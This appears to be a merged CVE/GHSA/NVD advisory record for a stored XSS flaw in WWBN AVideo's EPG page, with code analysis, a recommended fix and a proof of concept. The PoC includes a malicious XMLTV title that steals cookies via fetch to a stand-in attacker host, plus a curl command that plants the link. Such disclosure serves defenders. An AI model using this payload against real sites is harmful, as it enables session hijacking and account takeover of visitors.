{"id":"CVE-2026-39367","aliases":["CVE-2026-39367","GHSA-rqp3-gf5h-mrqx"],"related":[],"kind":"vulnerability","state":"published","title":"WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page","summary":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nAVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's `epg_link` to a malicious XML file whose `<title>` elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.\n\n## Details\n\nThe vulnerability spans three files in the data flow:\n\n**1. Entry point — `objects/videoAddNew.json.php:117-119`**\n\nThe `epg_link` parameter is stored with only a URL format check:\n\n```php\nif (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {\n    $obj->setEpg_link($_POST['epg_link']);\n}\n```\n\nThis requires `User::canUpload()` (line 10) — not admin, just basic upload permission.\n\n**2. XML parsing — `objects/EpgParser.php:321`**\n\nProgramme titles are extracted as raw strings with no sanitization:\n\n```php\n$this->epgdata[$grouper ?: 0] = [\n    'title' => (string) $element->title,\n    // ...\n];\n```\n\n**3. Sink — `plugin/PlayerSkins/epg.php:343-351`**\n\nProgramme titles are interpolated directly into HTML output without `htmlspecialchars()` or any escaping:\n\n```php\n} else if ($width <= $minimumWidth1Dot) {\n    $text = \"<abbr title=\\\"{$program['title']}\\\">.</abbr>\";          // attribute injection\n} else if ($width <= $minimumWidth) {\n    $text = \"<abbr title=\\\"{$program['title']}\\\"><small ...\";        // attribute injection\n} else if ($width <= $minimumSmallFont) {\n    $text = \"<small class=\\\"small-font\\\">{$program['title']}<div>...\"; // HTML injection\n} else {\n    $text = \"{$program['title']}<div>...\";                            // HTML injection\n}\n```\n\nNotably, the channel `display-name` **is** sanitized via `safeString()` at line 151, but programme titles are not — an apparent oversight.\n\nThe EPG page (`epg.php`) requires no authentication to access, and the rendered output is cached at line 634 (`ObjectYPT::setCache`), so the XSS payload persists in cache even if the original malicious XML is later removed.\n\n## PoC\n\n**Step 1:** Host a malicious XMLTV file at an attacker-controlled URL:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<tv>\n  <channel id=\"ch1\">\n    <display-name>Test Channel</display-name>\n  </channel>\n  <programme start=\"20260404060000 +0000\" stop=\"20260404070000 +0000\" channel=\"ch1\">\n    <title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>\n  </programme>\n</tv>\n```\n\n**Step 2:** Create a video with the malicious EPG link (requires upload permission):\n\n```bash\ncurl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \\\n  'https://target.example/objects/videoAddNew.json.php' \\\n  -d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'\n```\n\n**Step 3:** Any visitor (unauthenticated) browsing the EPG page triggers the XSS:\n\n```\nhttps://target.example/plugin/PlayerSkins/epg.php\n```\n\nThe `<img onerror>` payload executes in the browser of every visitor, exfiltrating cookies and session tokens.\n\n## Impact\n\n- **Session hijacking**: Any visitor's session cookies are exfiltrated, including administrators\n- **Account takeover**: Stolen admin sessions allow full platform control\n- **Persistent**: The XSS payload is cached server-side and fires for every page visitor without further interaction\n- **Wide blast radius**: The EPG page is publicly accessible with no authentication required\n\n## Recommended Fix\n\nEscape all programme data before rendering in HTML. In `plugin/PlayerSkins/epg.php`, apply `htmlspecialchars()` to programme titles before interpolation:\n\n```php\n// Around line 340, before the width checks:\n$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');\n\n// Then use $safeTitle instead of $program['title']:\n} else if ($width <= $minimumWidth1Dot) {\n    $text = \"<abbr title=\\\"{$safeTitle}\\\">.</abbr>\";\n} else if ($width <= $minimumWidth) {\n    $text = \"<abbr title=\\\"{$safeTitle}\\\"><small class=\\\"duration\\\">{$minutes} Min</small></abbr>\";\n} else if ($width <= $minimumSmallFont) {\n    $text = \"<small class=\\\"small-font\\\">{$safeTitle}<div><small class=\\\"duration\\\">{$minutes} Min</small></div></small>\";\n} else {\n    $text = \"{$safeTitle}<div><small class=\\\"duration\\\">{$minutes} Min</small></div>\";\n}\n```\n\nAdditionally, consider sanitizing all EPG XML fields at parse time in `EpgParser.php:316-330` to defend in depth.","format":"markdown","source":"ghsa"},{"lang":"es","text":"WWBN AVideo es una plataforma de vídeo de código abierto. En las versiones 26.0 y anteriores, la función EPG (Guía Electrónica de Programación) de AVideo analiza XML de URLs controladas por el usuario y renderiza los títulos de los programas directamente en HTML sin ninguna sanitización o escape. Un usuario con permiso de subida puede establecer el epg_link de un vídeo a un archivo XML malicioso cuyos elementos <title> contienen JavaScript. Esta carga útil se ejecuta en el navegador de cualquier visitante no autenticado a la página EPG pública, lo que permite el secuestro de sesión y la toma de control de cuentas.","source":"nvd"}],"published":"2026-04-07T19:22:07.732Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"<= 26.0","status":"affected"}],"vendor":"WWBN","product":"AVideo","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"26.0"}],"ecosystem":"Packagist","package":"wwbn/avideo","purl":"pkg:composer/wwbn/avideo","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"26.0"}],"vendor":"wwbn","product":"avideo","cpe":"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx","tags":["exploit","third-party-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39367","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-04-08T17:47:37.059Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-39367","url":"https://www.cve.org/CVERecord?id=CVE-2026-39367","licence":"CVE Terms of Use","modified":"2026-04-08T17:47:40.548Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rqp3-gf5h-mrqx","url":"https://github.com/advisories/GHSA-rqp3-gf5h-mrqx","licence":"CC-BY-4.0","modified":"2026-04-08T00:27:16.577Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-39367","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39367","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:18.163Z","epss":{"score":0.00207,"percentile":0.11428,"date":"2026-12-01T12:00:22.000Z"}}